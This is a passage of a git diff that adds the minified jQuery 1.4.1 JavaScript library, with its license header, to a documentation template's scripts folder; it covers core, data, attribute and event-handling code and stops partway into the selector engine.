\ No newline at end of file diff --git a/doc/src/template/scripts/jquery.js b/doc/src/template/scripts/jquery.js new file mode 100755 index 0000000..0c7294c --- /dev/null +++ b/doc/src/template/scripts/jquery.js @@ -0,0 +1,152 @@ +/*! + * jQuery JavaScript Library v1.4.1 + * http://jquery.com/ + * + * Copyright 2010, John Resig + * Dual licensed under the MIT or GPL Version 2 licenses. + * http://jquery.org/license + * + * Includes Sizzle.js + * http://sizzlejs.com/ + * Copyright 2010, The Dojo Foundation + * Released under the MIT, BSD, and GPL Licenses. + * + * Date: Mon Jan 25 19:43:33 2010 -0500 + */ +(function(z,v){function la(){if(!c.isReady){try{r.documentElement.doScroll("left")}catch(a){setTimeout(la,1);return}c.ready()}}function Ma(a,b){b.src?c.ajax({url:b.src,async:false,dataType:"script"}):c.globalEval(b.text||b.textContent||b.innerHTML||"");b.parentNode&&b.parentNode.removeChild(b)}function X(a,b,d,f,e,i){var j=a.length;if(typeof b==="object"){for(var n in b)X(a,n,b[n],f,e,d);return a}if(d!==v){f=!i&&f&&c.isFunction(d);for(n=0;n<j;n++)e(a[n],b,f?d.call(a[n],n,e(a[n],b)):d,i);return a}return j? +e(a[0],b):null}function J(){return(new Date).getTime()}function Y(){return false}function Z(){return true}function ma(a,b,d){d[0].type=a;return c.event.handle.apply(b,d)}function na(a){var b,d=[],f=[],e=arguments,i,j,n,o,m,s,x=c.extend({},c.data(this,"events").live);if(!(a.button&&a.type==="click")){for(o in x){j=x[o];if(j.live===a.type||j.altLive&&c.inArray(a.type,j.altLive)>-1){i=j.data;i.beforeFilter&&i.beforeFilter[a.type]&&!i.beforeFilter[a.type](a)||f.push(j.selector)}else delete x[o]}i=c(a.target).closest(f, +a.currentTarget);m=0;for(s=i.length;m<s;m++)for(o in x){j=x[o];n=i[m].elem;f=null;if(i[m].selector===j.selector){if(j.live==="mouseenter"||j.live==="mouseleave")f=c(a.relatedTarget).closest(j.selector)[0];if(!f||f!==n)d.push({elem:n,fn:j})}}m=0;for(s=d.length;m<s;m++){i=d[m];a.currentTarget=i.elem;a.data=i.fn.data;if(i.fn.apply(i.elem,e)===false){b=false;break}}return b}}function oa(a,b){return"live."+(a?a+".":"")+b.replace(/\./g,"`").replace(/ /g,"&")}function pa(a){return!a||!a.parentNode||a.parentNode.nodeType=== +11}function qa(a,b){var d=0;b.each(function(){if(this.nodeName===(a[d]&&a[d].nodeName)){var f=c.data(a[d++]),e=c.data(this,f);if(f=f&&f.events){delete e.handle;e.events={};for(var i in f)for(var j in f[i])c.event.add(this,i,f[i][j],f[i][j].data)}}})}function ra(a,b,d){var f,e,i;if(a.length===1&&typeof a[0]==="string"&&a[0].length<512&&a[0].indexOf("<option")<0&&(c.support.checkClone||!sa.test(a[0]))){e=true;if(i=c.fragments[a[0]])if(i!==1)f=i}if(!f){b=b&&b[0]?b[0].ownerDocument||b[0]:r;f=b.createDocumentFragment(); +c.clean(a,b,f,d)}if(e)c.fragments[a[0]]=i?f:1;return{fragment:f,cacheable:e}}function K(a,b){var d={};c.each(ta.concat.apply([],ta.slice(0,b)),function(){d[this]=a});return d}function ua(a){return"scrollTo"in a&&a.document?a:a.nodeType===9?a.defaultView||a.parentWindow:false}var c=function(a,b){return new c.fn.init(a,b)},Na=z.jQuery,Oa=z.$,r=z.document,S,Pa=/^[^<]*(<[\w\W]+>)[^>]*$|^#([\w-]+)$/,Qa=/^.[^:#\[\.,]*$/,Ra=/\S/,Sa=/^(\s|\u00A0)+|(\s|\u00A0)+$/g,Ta=/^<(\w+)\s*\/?>(?:<\/\1>)?$/,O=navigator.userAgent, +va=false,P=[],L,$=Object.prototype.toString,aa=Object.prototype.hasOwnProperty,ba=Array.prototype.push,Q=Array.prototype.slice,wa=Array.prototype.indexOf;c.fn=c.prototype={init:function(a,b){var d,f;if(!a)return this;if(a.nodeType){this.context=this[0]=a;this.length=1;return this}if(typeof a==="string")if((d=Pa.exec(a))&&(d[1]||!b))if(d[1]){f=b?b.ownerDocument||b:r;if(a=Ta.exec(a))if(c.isPlainObject(b)){a=[r.createElement(a[1])];c.fn.attr.call(a,b,true)}else a=[f.createElement(a[1])];else{a=ra([d[1]], +[f]);a=(a.cacheable?a.fragment.cloneNode(true):a.fragment).childNodes}}else{if(b=r.getElementById(d[2])){if(b.id!==d[2])return S.find(a);this.length=1;this[0]=b}this.context=r;this.selector=a;return this}else if(!b&&/^\w+$/.test(a)){this.selector=a;this.context=r;a=r.getElementsByTagName(a)}else return!b||b.jquery?(b||S).find(a):c(b).find(a);else if(c.isFunction(a))return S.ready(a);if(a.selector!==v){this.selector=a.selector;this.context=a.context}return c.isArray(a)?this.setArray(a):c.makeArray(a, +this)},selector:"",jquery:"1.4.1",length:0,size:function(){return this.length},toArray:function(){return Q.call(this,0)},get:function(a){return a==null?this.toArray():a<0?this.slice(a)[0]:this[a]},pushStack:function(a,b,d){a=c(a||null);a.prevObject=this;a.context=this.context;if(b==="find")a.selector=this.selector+(this.selector?" ":"")+d;else if(b)a.selector=this.selector+"."+b+"("+d+")";return a},setArray:function(a){this.length=0;ba.apply(this,a);return this},each:function(a,b){return c.each(this, +a,b)},ready:function(a){c.bindReady();if(c.isReady)a.call(r,c);else P&&P.push(a);return this},eq:function(a){return a===-1?this.slice(a):this.slice(a,+a+1)},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},slice:function(){return this.pushStack(Q.apply(this,arguments),"slice",Q.call(arguments).join(","))},map:function(a){return this.pushStack(c.map(this,function(b,d){return a.call(b,d,b)}))},end:function(){return this.prevObject||c(null)},push:ba,sort:[].sort,splice:[].splice}; +c.fn.init.prototype=c.fn;c.extend=c.fn.extend=function(){var a=arguments[0]||{},b=1,d=arguments.length,f=false,e,i,j,n;if(typeof a==="boolean"){f=a;a=arguments[1]||{};b=2}if(typeof a!=="object"&&!c.isFunction(a))a={};if(d===b){a=this;--b}for(;b<d;b++)if((e=arguments[b])!=null)for(i in e){j=a[i];n=e[i];if(a!==n)if(f&&n&&(c.isPlainObject(n)||c.isArray(n))){j=j&&(c.isPlainObject(j)||c.isArray(j))?j:c.isArray(n)?[]:{};a[i]=c.extend(f,j,n)}else if(n!==v)a[i]=n}return a};c.extend({noConflict:function(a){z.$= +Oa;if(a)z.jQuery=Na;return c},isReady:false,ready:function(){if(!c.isReady){if(!r.body)return setTimeout(c.ready,13);c.isReady=true;if(P){for(var a,b=0;a=P[b++];)a.call(r,c);P=null}c.fn.triggerHandler&&c(r).triggerHandler("ready")}},bindReady:function(){if(!va){va=true;if(r.readyState==="complete")return c.ready();if(r.addEventListener){r.addEventListener("DOMContentLoaded",L,false);z.addEventListener("load",c.ready,false)}else if(r.attachEvent){r.attachEvent("onreadystatechange",L);z.attachEvent("onload", +c.ready);var a=false;try{a=z.frameElement==null}catch(b){}r.documentElement.doScroll&&a&&la()}}},isFunction:function(a){return $.call(a)==="[object Function]"},isArray:function(a){return $.call(a)==="[object Array]"},isPlainObject:function(a){if(!a||$.call(a)!=="[object Object]"||a.nodeType||a.setInterval)return false;if(a.constructor&&!aa.call(a,"constructor")&&!aa.call(a.constructor.prototype,"isPrototypeOf"))return false;var b;for(b in a);return b===v||aa.call(a,b)},isEmptyObject:function(a){for(var b in a)return false; +return true},error:function(a){throw a;},parseJSON:function(a){if(typeof a!=="string"||!a)return null;if(/^[\],:{}\s]*$/.test(a.replace(/\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g,"@").replace(/"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g,"]").replace(/(?:^|:|,)(?:\s*\[)+/g,"")))return z.JSON&&z.JSON.parse?z.JSON.parse(a):(new Function("return "+a))();else c.error("Invalid JSON: "+a)},noop:function(){},globalEval:function(a){if(a&&Ra.test(a)){var b=r.getElementsByTagName("head")[0]|| +r.documentElement,d=r.createElement("script");d.type="text/javascript";if(c.support.scriptEval)d.appendChild(r.createTextNode(a));else d.text=a;b.insertBefore(d,b.firstChild);b.removeChild(d)}},nodeName:function(a,b){return a.nodeName&&a.nodeName.toUpperCase()===b.toUpperCase()},each:function(a,b,d){var f,e=0,i=a.length,j=i===v||c.isFunction(a);if(d)if(j)for(f in a){if(b.apply(a[f],d)===false)break}else for(;e<i;){if(b.apply(a[e++],d)===false)break}else if(j)for(f in a){if(b.call(a[f],f,a[f])===false)break}else for(d= +a[0];e<i&&b.call(d,e,d)!==false;d=a[++e]);return a},trim:function(a){return(a||"").replace(Sa,"")},makeArray:function(a,b){b=b||[];if(a!=null)a.length==null||typeof a==="string"||c.isFunction(a)||typeof a!=="function"&&a.setInterval?ba.call(b,a):c.merge(b,a);return b},inArray:function(a,b){if(b.indexOf)return b.indexOf(a);for(var d=0,f=b.length;d<f;d++)if(b[d]===a)return d;return-1},merge:function(a,b){var d=a.length,f=0;if(typeof b.length==="number")for(var e=b.length;f<e;f++)a[d++]=b[f];else for(;b[f]!== +v;)a[d++]=b[f++];a.length=d;return a},grep:function(a,b,d){for(var f=[],e=0,i=a.length;e<i;e++)!d!==!b(a[e],e)&&f.push(a[e]);return f},map:function(a,b,d){for(var f=[],e,i=0,j=a.length;i<j;i++){e=b(a[i],i,d);if(e!=null)f[f.length]=e}return f.concat.apply([],f)},guid:1,proxy:function(a,b,d){if(arguments.length===2)if(typeof b==="string"){d=a;a=d[b];b=v}else if(b&&!c.isFunction(b)){d=b;b=v}if(!b&&a)b=function(){return a.apply(d||this,arguments)};if(a)b.guid=a.guid=a.guid||b.guid||c.guid++;return b}, +uaMatch:function(a){a=a.toLowerCase();a=/(webkit)[ \/]([\w.]+)/.exec(a)||/(opera)(?:.*version)?[ \/]([\w.]+)/.exec(a)||/(msie) ([\w.]+)/.exec(a)||!/compatible/.test(a)&&/(mozilla)(?:.*? rv:([\w.]+))?/.exec(a)||[];return{browser:a[1]||"",version:a[2]||"0"}},browser:{}});O=c.uaMatch(O);if(O.browser){c.browser[O.browser]=true;c.browser.version=O.version}if(c.browser.webkit)c.browser.safari=true;if(wa)c.inArray=function(a,b){return wa.call(b,a)};S=c(r);if(r.addEventListener)L=function(){r.removeEventListener("DOMContentLoaded", +L,false);c.ready()};else if(r.attachEvent)L=function(){if(r.readyState==="complete"){r.detachEvent("onreadystatechange",L);c.ready()}};(function(){c.support={};var a=r.documentElement,b=r.createElement("script"),d=r.createElement("div"),f="script"+J();d.style.display="none";d.innerHTML=" <link/><table></table><a href='/a' style='color:red;float:left;opacity:.55;'>a</a><input type='checkbox'/>";var e=d.getElementsByTagName("*"),i=d.getElementsByTagName("a")[0];if(!(!e||!e.length||!i)){c.support= +{leadingWhitespace:d.firstChild.nodeType===3,tbody:!d.getElementsByTagName("tbody").length,htmlSerialize:!!d.getElementsByTagName("link").length,style:/red/.test(i.getAttribute("style")),hrefNormalized:i.getAttribute("href")==="/a",opacity:/^0.55$/.test(i.style.opacity),cssFloat:!!i.style.cssFloat,checkOn:d.getElementsByTagName("input")[0].value==="on",optSelected:r.createElement("select").appendChild(r.createElement("option")).selected,checkClone:false,scriptEval:false,noCloneEvent:true,boxModel:null}; +b.type="text/javascript";try{b.appendChild(r.createTextNode("window."+f+"=1;"))}catch(j){}a.insertBefore(b,a.firstChild);if(z[f]){c.support.scriptEval=true;delete z[f]}a.removeChild(b);if(d.attachEvent&&d.fireEvent){d.attachEvent("onclick",function n(){c.support.noCloneEvent=false;d.detachEvent("onclick",n)});d.cloneNode(true).fireEvent("onclick")}d=r.createElement("div");d.innerHTML="<input type='radio' name='radiotest' checked='checked'/>";a=r.createDocumentFragment();a.appendChild(d.firstChild); +c.support.checkClone=a.cloneNode(true).cloneNode(true).lastChild.checked;c(function(){var n=r.createElement("div");n.style.width=n.style.paddingLeft="1px";r.body.appendChild(n);c.boxModel=c.support.boxModel=n.offsetWidth===2;r.body.removeChild(n).style.display="none"});a=function(n){var o=r.createElement("div");n="on"+n;var m=n in o;if(!m){o.setAttribute(n,"return;");m=typeof o[n]==="function"}return m};c.support.submitBubbles=a("submit");c.support.changeBubbles=a("change");a=b=d=e=i=null}})();c.props= +{"for":"htmlFor","class":"className",readonly:"readOnly",maxlength:"maxLength",cellspacing:"cellSpacing",rowspan:"rowSpan",colspan:"colSpan",tabindex:"tabIndex",usemap:"useMap",frameborder:"frameBorder"};var G="jQuery"+J(),Ua=0,xa={},Va={};c.extend({cache:{},expando:G,noData:{embed:true,object:true,applet:true},data:function(a,b,d){if(!(a.nodeName&&c.noData[a.nodeName.toLowerCase()])){a=a==z?xa:a;var f=a[G],e=c.cache;if(!b&&!f)return null;f||(f=++Ua);if(typeof b==="object"){a[G]=f;e=e[f]=c.extend(true, +{},b)}else e=e[f]?e[f]:typeof d==="undefined"?Va:(e[f]={});if(d!==v){a[G]=f;e[b]=d}return typeof b==="string"?e[b]:e}},removeData:function(a,b){if(!(a.nodeName&&c.noData[a.nodeName.toLowerCase()])){a=a==z?xa:a;var d=a[G],f=c.cache,e=f[d];if(b){if(e){delete e[b];c.isEmptyObject(e)&&c.removeData(a)}}else{try{delete a[G]}catch(i){a.removeAttribute&&a.removeAttribute(G)}delete f[d]}}}});c.fn.extend({data:function(a,b){if(typeof a==="undefined"&&this.length)return c.data(this[0]);else if(typeof a==="object")return this.each(function(){c.data(this, +a)});var d=a.split(".");d[1]=d[1]?"."+d[1]:"";if(b===v){var f=this.triggerHandler("getData"+d[1]+"!",[d[0]]);if(f===v&&this.length)f=c.data(this[0],a);return f===v&&d[1]?this.data(d[0]):f}else return this.trigger("setData"+d[1]+"!",[d[0],b]).each(function(){c.data(this,a,b)})},removeData:function(a){return this.each(function(){c.removeData(this,a)})}});c.extend({queue:function(a,b,d){if(a){b=(b||"fx")+"queue";var f=c.data(a,b);if(!d)return f||[];if(!f||c.isArray(d))f=c.data(a,b,c.makeArray(d));else f.push(d); +return f}},dequeue:function(a,b){b=b||"fx";var d=c.queue(a,b),f=d.shift();if(f==="inprogress")f=d.shift();if(f){b==="fx"&&d.unshift("inprogress");f.call(a,function(){c.dequeue(a,b)})}}});c.fn.extend({queue:function(a,b){if(typeof a!=="string"){b=a;a="fx"}if(b===v)return c.queue(this[0],a);return this.each(function(){var d=c.queue(this,a,b);a==="fx"&&d[0]!=="inprogress"&&c.dequeue(this,a)})},dequeue:function(a){return this.each(function(){c.dequeue(this,a)})},delay:function(a,b){a=c.fx?c.fx.speeds[a]|| +a:a;b=b||"fx";return this.queue(b,function(){var d=this;setTimeout(function(){c.dequeue(d,b)},a)})},clearQueue:function(a){return this.queue(a||"fx",[])}});var ya=/[\n\t]/g,ca=/\s+/,Wa=/\r/g,Xa=/href|src|style/,Ya=/(button|input)/i,Za=/(button|input|object|select|textarea)/i,$a=/^(a|area)$/i,za=/radio|checkbox/;c.fn.extend({attr:function(a,b){return X(this,a,b,true,c.attr)},removeAttr:function(a){return this.each(function(){c.attr(this,a,"");this.nodeType===1&&this.removeAttribute(a)})},addClass:function(a){if(c.isFunction(a))return this.each(function(o){var m= +c(this);m.addClass(a.call(this,o,m.attr("class")))});if(a&&typeof a==="string")for(var b=(a||"").split(ca),d=0,f=this.length;d<f;d++){var e=this[d];if(e.nodeType===1)if(e.className)for(var i=" "+e.className+" ",j=0,n=b.length;j<n;j++){if(i.indexOf(" "+b[j]+" ")<0)e.className+=" "+b[j]}else e.className=a}return this},removeClass:function(a){if(c.isFunction(a))return this.each(function(o){var m=c(this);m.removeClass(a.call(this,o,m.attr("class")))});if(a&&typeof a==="string"||a===v)for(var b=(a||"").split(ca), +d=0,f=this.length;d<f;d++){var e=this[d];if(e.nodeType===1&&e.className)if(a){for(var i=(" "+e.className+" ").replace(ya," "),j=0,n=b.length;j<n;j++)i=i.replace(" "+b[j]+" "," ");e.className=i.substring(1,i.length-1)}else e.className=""}return this},toggleClass:function(a,b){var d=typeof a,f=typeof b==="boolean";if(c.isFunction(a))return this.each(function(e){var i=c(this);i.toggleClass(a.call(this,e,i.attr("class"),b),b)});return this.each(function(){if(d==="string")for(var e,i=0,j=c(this),n=b,o= +a.split(ca);e=o[i++];){n=f?n:!j.hasClass(e);j[n?"addClass":"removeClass"](e)}else if(d==="undefined"||d==="boolean"){this.className&&c.data(this,"__className__",this.className);this.className=this.className||a===false?"":c.data(this,"__className__")||""}})},hasClass:function(a){a=" "+a+" ";for(var b=0,d=this.length;b<d;b++)if((" "+this[b].className+" ").replace(ya," ").indexOf(a)>-1)return true;return false},val:function(a){if(a===v){var b=this[0];if(b){if(c.nodeName(b,"option"))return(b.attributes.value|| +{}).specified?b.value:b.text;if(c.nodeName(b,"select")){var d=b.selectedIndex,f=[],e=b.options;b=b.type==="select-one";if(d<0)return null;var i=b?d:0;for(d=b?d+1:e.length;i<d;i++){var j=e[i];if(j.selected){a=c(j).val();if(b)return a;f.push(a)}}return f}if(za.test(b.type)&&!c.support.checkOn)return b.getAttribute("value")===null?"on":b.value;return(b.value||"").replace(Wa,"")}return v}var n=c.isFunction(a);return this.each(function(o){var m=c(this),s=a;if(this.nodeType===1){if(n)s=a.call(this,o,m.val()); +if(typeof s==="number")s+="";if(c.isArray(s)&&za.test(this.type))this.checked=c.inArray(m.val(),s)>=0;else if(c.nodeName(this,"select")){var x=c.makeArray(s);c("option",this).each(function(){this.selected=c.inArray(c(this).val(),x)>=0});if(!x.length)this.selectedIndex=-1}else this.value=s}})}});c.extend({attrFn:{val:true,css:true,html:true,text:true,data:true,width:true,height:true,offset:true},attr:function(a,b,d,f){if(!a||a.nodeType===3||a.nodeType===8)return v;if(f&&b in c.attrFn)return c(a)[b](d); +f=a.nodeType!==1||!c.isXMLDoc(a);var e=d!==v;b=f&&c.props[b]||b;if(a.nodeType===1){var i=Xa.test(b);if(b in a&&f&&!i){if(e){b==="type"&&Ya.test(a.nodeName)&&a.parentNode&&c.error("type property can't be changed");a[b]=d}if(c.nodeName(a,"form")&&a.getAttributeNode(b))return a.getAttributeNode(b).nodeValue;if(b==="tabIndex")return(b=a.getAttributeNode("tabIndex"))&&b.specified?b.value:Za.test(a.nodeName)||$a.test(a.nodeName)&&a.href?0:v;return a[b]}if(!c.support.style&&f&&b==="style"){if(e)a.style.cssText= +""+d;return a.style.cssText}e&&a.setAttribute(b,""+d);a=!c.support.hrefNormalized&&f&&i?a.getAttribute(b,2):a.getAttribute(b);return a===null?v:a}return c.style(a,b,d)}});var ab=function(a){return a.replace(/[^\w\s\.\|`]/g,function(b){return"\\"+b})};c.event={add:function(a,b,d,f){if(!(a.nodeType===3||a.nodeType===8)){if(a.setInterval&&a!==z&&!a.frameElement)a=z;if(!d.guid)d.guid=c.guid++;if(f!==v){d=c.proxy(d);d.data=f}var e=c.data(a,"events")||c.data(a,"events",{}),i=c.data(a,"handle"),j;if(!i){j= +function(){return typeof c!=="undefined"&&!c.event.triggered?c.event.handle.apply(j.elem,arguments):v};i=c.data(a,"handle",j)}if(i){i.elem=a;b=b.split(/\s+/);for(var n,o=0;n=b[o++];){var m=n.split(".");n=m.shift();if(o>1){d=c.proxy(d);if(f!==v)d.data=f}d.type=m.slice(0).sort().join(".");var s=e[n],x=this.special[n]||{};if(!s){s=e[n]={};if(!x.setup||x.setup.call(a,f,m,d)===false)if(a.addEventListener)a.addEventListener(n,i,false);else a.attachEvent&&a.attachEvent("on"+n,i)}if(x.add)if((m=x.add.call(a, +d,f,m,s))&&c.isFunction(m)){m.guid=m.guid||d.guid;m.data=m.data||d.data;m.type=m.type||d.type;d=m}s[d.guid]=d;this.global[n]=true}a=null}}},global:{},remove:function(a,b,d){if(!(a.nodeType===3||a.nodeType===8)){var f=c.data(a,"events"),e,i,j;if(f){if(b===v||typeof b==="string"&&b.charAt(0)===".")for(i in f)this.remove(a,i+(b||""));else{if(b.type){d=b.handler;b=b.type}b=b.split(/\s+/);for(var n=0;i=b[n++];){var o=i.split(".");i=o.shift();var m=!o.length,s=c.map(o.slice(0).sort(),ab);s=new RegExp("(^|\\.)"+ +s.join("\\.(?:.*\\.)?")+"(\\.|$)");var x=this.special[i]||{};if(f[i]){if(d){j=f[i][d.guid];delete f[i][d.guid]}else for(var A in f[i])if(m||s.test(f[i][A].type))delete f[i][A];x.remove&&x.remove.call(a,o,j);for(e in f[i])break;if(!e){if(!x.teardown||x.teardown.call(a,o)===false)if(a.removeEventListener)a.removeEventListener(i,c.data(a,"handle"),false);else a.detachEvent&&a.detachEvent("on"+i,c.data(a,"handle"));e=null;delete f[i]}}}}for(e in f)break;if(!e){if(A=c.data(a,"handle"))A.elem=null;c.removeData(a, +"events");c.removeData(a,"handle")}}}},trigger:function(a,b,d,f){var e=a.type||a;if(!f){a=typeof a==="object"?a[G]?a:c.extend(c.Event(e),a):c.Event(e);if(e.indexOf("!")>=0){a.type=e=e.slice(0,-1);a.exclusive=true}if(!d){a.stopPropagation();this.global[e]&&c.each(c.cache,function(){this.events&&this.events[e]&&c.event.trigger(a,b,this.handle.elem)})}if(!d||d.nodeType===3||d.nodeType===8)return v;a.result=v;a.target=d;b=c.makeArray(b);b.unshift(a)}a.currentTarget=d;(f=c.data(d,"handle"))&&f.apply(d, +b);f=d.parentNode||d.ownerDocument;try{if(!(d&&d.nodeName&&c.noData[d.nodeName.toLowerCase()]))if(d["on"+e]&&d["on"+e].apply(d,b)===false)a.result=false}catch(i){}if(!a.isPropagationStopped()&&f)c.event.trigger(a,b,f,true);else if(!a.isDefaultPrevented()){d=a.target;var j;if(!(c.nodeName(d,"a")&&e==="click")&&!(d&&d.nodeName&&c.noData[d.nodeName.toLowerCase()])){try{if(d[e]){if(j=d["on"+e])d["on"+e]=null;this.triggered=true;d[e]()}}catch(n){}if(j)d["on"+e]=j;this.triggered=false}}},handle:function(a){var b, +d;a=arguments[0]=c.event.fix(a||z.event);a.currentTarget=this;d=a.type.split(".");a.type=d.shift();b=!d.length&&!a.exclusive;var f=new RegExp("(^|\\.)"+d.slice(0).sort().join("\\.(?:.*\\.)?")+"(\\.|$)");d=(c.data(this,"events")||{})[a.type];for(var e in d){var i=d[e];if(b||f.test(i.type)){a.handler=i;a.data=i.data;i=i.apply(this,arguments);if(i!==v){a.result=i;if(i===false){a.preventDefault();a.stopPropagation()}}if(a.isImmediatePropagationStopped())break}}return a.result},props:"altKey attrChange attrName bubbles button cancelable charCode clientX clientY ctrlKey currentTarget data detail eventPhase fromElement handler keyCode layerX layerY metaKey newValue offsetX offsetY originalTarget pageX pageY prevValue relatedNode relatedTarget screenX screenY shiftKey srcElement target toElement view wheelDelta which".split(" "), +fix:function(a){if(a[G])return a;var b=a;a=c.Event(b);for(var d=this.props.length,f;d;){f=this.props[--d];a[f]=b[f]}if(!a.target)a.target=a.srcElement||r;if(a.target.nodeType===3)a.target=a.target.parentNode;if(!a.relatedTarget&&a.fromElement)a.relatedTarget=a.fromElement===a.target?a.toElement:a.fromElement;if(a.pageX==null&&a.clientX!=null){b=r.documentElement;d=r.body;a.pageX=a.clientX+(b&&b.scrollLeft||d&&d.scrollLeft||0)-(b&&b.clientLeft||d&&d.clientLeft||0);a.pageY=a.clientY+(b&&b.scrollTop|| +d&&d.scrollTop||0)-(b&&b.clientTop||d&&d.clientTop||0)}if(!a.which&&(a.charCode||a.charCode===0?a.charCode:a.keyCode))a.which=a.charCode||a.keyCode;if(!a.metaKey&&a.ctrlKey)a.metaKey=a.ctrlKey;if(!a.which&&a.button!==v)a.which=a.button&1?1:a.button&2?3:a.button&4?2:0;return a},guid:1E8,proxy:c.proxy,special:{ready:{setup:c.bindReady,teardown:c.noop},live:{add:function(a,b){c.extend(a,b||{});a.guid+=b.selector+b.live;b.liveProxy=a;c.event.add(this,b.live,na,b)},remove:function(a){if(a.length){var b= +0,d=new RegExp("(^|\\.)"+a[0]+"(\\.|$)");c.each(c.data(this,"events").live||{},function(){d.test(this.type)&&b++});b<1&&c.event.remove(this,a[0],na)}},special:{}},beforeunload:{setup:function(a,b,d){if(this.setInterval)this.onbeforeunload=d;return false},teardown:function(a,b){if(this.onbeforeunload===b)this.onbeforeunload=null}}}};c.Event=function(a){if(!this.preventDefault)return new c.Event(a);if(a&&a.type){this.originalEvent=a;this.type=a.type}else this.type=a;this.timeStamp=J();this[G]=true}; +c.Event.prototype={preventDefault:function(){this.isDefaultPrevented=Z;var a=this.originalEvent;if(a){a.preventDefault&&a.preventDefault();a.returnValue=false}},stopPropagation:function(){this.isPropagationStopped=Z;var a=this.originalEvent;if(a){a.stopPropagation&&a.stopPropagation();a.cancelBubble=true}},stopImmediatePropagation:function(){this.isImmediatePropagationStopped=Z;this.stopPropagation()},isDefaultPrevented:Y,isPropagationStopped:Y,isImmediatePropagationStopped:Y};var Aa=function(a){for(var b= +a.relatedTarget;b&&b!==this;)try{b=b.parentNode}catch(d){break}if(b!==this){a.type=a.data;c.event.handle.apply(this,arguments)}},Ba=function(a){a.type=a.data;c.event.handle.apply(this,arguments)};c.each({mouseenter:"mouseover",mouseleave:"mouseout"},function(a,b){c.event.special[a]={setup:function(d){c.event.add(this,b,d&&d.selector?Ba:Aa,a)},teardown:function(d){c.event.remove(this,b,d&&d.selector?Ba:Aa)}}});if(!c.support.submitBubbles)c.event.special.submit={setup:function(a,b,d){if(this.nodeName.toLowerCase()!== +"form"){c.event.add(this,"click.specialSubmit."+d.guid,function(f){var e=f.target,i=e.type;if((i==="submit"||i==="image")&&c(e).closest("form").length)return ma("submit",this,arguments)});c.event.add(this,"keypress.specialSubmit."+d.guid,function(f){var e=f.target,i=e.type;if((i==="text"||i==="password")&&c(e).closest("form").length&&f.keyCode===13)return ma("submit",this,arguments)})}else return false},remove:function(a,b){c.event.remove(this,"click.specialSubmit"+(b?"."+b.guid:""));c.event.remove(this, +"keypress.specialSubmit"+(b?"."+b.guid:""))}};if(!c.support.changeBubbles){var da=/textarea|input|select/i;function Ca(a){var b=a.type,d=a.value;if(b==="radio"||b==="checkbox")d=a.checked;else if(b==="select-multiple")d=a.selectedIndex>-1?c.map(a.options,function(f){return f.selected}).join("-"):"";else if(a.nodeName.toLowerCase()==="select")d=a.selectedIndex;return d}function ea(a,b){var d=a.target,f,e;if(!(!da.test(d.nodeName)||d.readOnly)){f=c.data(d,"_change_data");e=Ca(d);if(a.type!=="focusout"|| +d.type!=="radio")c.data(d,"_change_data",e);if(!(f===v||e===f))if(f!=null||e){a.type="change";return c.event.trigger(a,b,d)}}}c.event.special.change={filters:{focusout:ea,click:function(a){var b=a.target,d=b.type;if(d==="radio"||d==="checkbox"||b.nodeName.toLowerCase()==="select")return ea.call(this,a)},keydown:function(a){var b=a.target,d=b.type;if(a.keyCode===13&&b.nodeName.toLowerCase()!=="textarea"||a.keyCode===32&&(d==="checkbox"||d==="radio")||d==="select-multiple")return ea.call(this,a)},beforeactivate:function(a){a= +a.target;a.nodeName.toLowerCase()==="input"&&a.type==="radio"&&c.data(a,"_change_data",Ca(a))}},setup:function(a,b,d){for(var f in T)c.event.add(this,f+".specialChange."+d.guid,T[f]);return da.test(this.nodeName)},remove:function(a,b){for(var d in T)c.event.remove(this,d+".specialChange"+(b?"."+b.guid:""),T[d]);return da.test(this.nodeName)}};var T=c.event.special.change.filters}r.addEventListener&&c.each({focus:"focusin",blur:"focusout"},function(a,b){function d(f){f=c.event.fix(f);f.type=b;return c.event.handle.call(this, +f)}c.event.special[b]={setup:function(){this.addEventListener(a,d,true)},teardown:function(){this.removeEventListener(a,d,true)}}});c.each(["bind","one"],function(a,b){c.fn[b]=function(d,f,e){if(typeof d==="object"){for(var i in d)this[b](i,f,d[i],e);return this}if(c.isFunction(f)){e=f;f=v}var j=b==="one"?c.proxy(e,function(n){c(this).unbind(n,j);return e.apply(this,arguments)}):e;return d==="unload"&&b!=="one"?this.one(d,f,e):this.each(function(){c.event.add(this,d,j,f)})}});c.fn.extend({unbind:function(a, +b){if(typeof a==="object"&&!a.preventDefault){for(var d in a)this.unbind(d,a[d]);return this}return this.each(function(){c.event.remove(this,a,b)})},trigger:function(a,b){return this.each(function(){c.event.trigger(a,b,this)})},triggerHandler:function(a,b){if(this[0]){a=c.Event(a);a.preventDefault();a.stopPropagation();c.event.trigger(a,b,this[0]);return a.result}},toggle:function(a){for(var b=arguments,d=1;d<b.length;)c.proxy(a,b[d++]);return this.click(c.proxy(a,function(f){var e=(c.data(this,"lastToggle"+ +a.guid)||0)%d;c.data(this,"lastToggle"+a.guid,e+1);f.preventDefault();return b[e].apply(this,arguments)||false}))},hover:function(a,b){return this.mouseenter(a).mouseleave(b||a)}});c.each(["live","die"],function(a,b){c.fn[b]=function(d,f,e){var i,j=0;if(c.isFunction(f)){e=f;f=v}for(d=(d||"").split(/\s+/);(i=d[j++])!=null;){i=i==="focus"?"focusin":i==="blur"?"focusout":i==="hover"?d.push("mouseleave")&&"mouseenter":i;b==="live"?c(this.context).bind(oa(i,this.selector),{data:f,selector:this.selector, +live:i},e):c(this.context).unbind(oa(i,this.selector),e?{guid:e.guid+this.selector+i}:null)}return this}});c.each("blur focus focusin focusout load resize scroll unload click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup error".split(" "),function(a,b){c.fn[b]=function(d){return d?this.bind(b,d):this.trigger(b)};if(c.attrFn)c.attrFn[b]=true});z.attachEvent&&!z.addEventListener&&z.attachEvent("onunload",function(){for(var a in c.cache)if(c.cache[a].handle)try{c.event.remove(c.cache[a].handle.elem)}catch(b){}}); +(function(){function a(g){for(var h="",k,l=0;g[l];l++){k=g[l];if(k.nodeType===3||k.nodeType===4)h+=k.nodeValue;else if(k.nodeType!==8)h+=a(k.childNodes)}return h}function b(g,h,k,l,q,p){q=0;for(var u=l.length;q<u;q++){var t=l[q];if(t){t=t[g];for(var 